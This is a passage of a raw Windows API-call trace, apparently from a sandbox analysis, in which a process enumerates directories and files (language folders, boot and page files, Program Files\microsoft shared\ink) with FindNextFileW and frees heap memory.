| out: hHeap=0x730000) returned 1 [0286.218] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0286.220] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e70068 | out: hHeap=0x730000) returned 1 [0286.220] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0286.413] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0286.413] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf800 | out: lpFindFileData=0x35bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0286.413] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0286.413] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.413] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0286.414] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.414] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0286.414] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.414] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0286.414] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.415] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0286.415] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.415] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0286.415] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.415] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0286.415] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.416] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0286.416] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.416] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0286.416] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.416] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0286.417] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.417] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0286.417] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.417] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0286.417] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.417] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0286.418] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3740080 | out: hHeap=0x730000) returned 1 [0286.418] FindNextFileW (in: hFindFile=0x74abb0, lpFindFileData=0x35bfa7c | out: lpFindFileData=0x35bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0286.418] FindClose (in: hFindFile=0x74abb0 | out: hFindFile=0x74abb0) returned 1 [0286.418] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e60060 | out: hHeap=0x730000) returned 1 [0286.418] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x35bfcf8 | out: lpFindFileData=0x35bfcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0286.419] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e60060 | out: hHeap=0x730000) returned 1 [0286.419] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x35bfcf8 | out: lpFindFileData=0x35bfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0286.420] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e60060 | out: hHeap=0x730000) returned 1 [0286.420] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x35bfcf8 | out: lpFindFileData=0x35bfcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa8a27762, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0286.428] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e60060 | out: hHeap=0x730000) returned 1 [0286.428] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x35bfcf8 | out: lpFindFileData=0x35bfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xaa2fae09, ftLastWriteTime.dwHighDateTime=0x1d501b3, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0286.429] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3e60060 | out: hHeap=0x730000) returned 1 [0286.429] FindNextFileW (in: hFindFile=0x74a530, lpFindFileData=0x35bfcf8 | out: lpFindFileData=0x35bfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x393aeeb2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x393aeeb2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0286.429] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0286.429] FindNextFileW (in: hFindFile=0x3e818a8, lpFindFileData=0x35bf800 | out: lpFindFileData=0x35bf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0286.432] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.432] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0286.432] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.432] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0286.432] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.432] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0286.433] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.433] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0286.433] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.433] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0286.433] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.433] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0286.433] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.433] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0286.434] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.434] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0286.435] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.435] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0286.435] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.436] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0286.436] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.436] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0286.436] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.436] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0286.436] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.436] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0286.436] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.436] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0286.437] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.437] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0286.437] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: hHeap=0x730000) returned 1 [0286.437] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0286.437] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: hHeap=0x730000) returned 1 [0286.437] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0286.438] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: 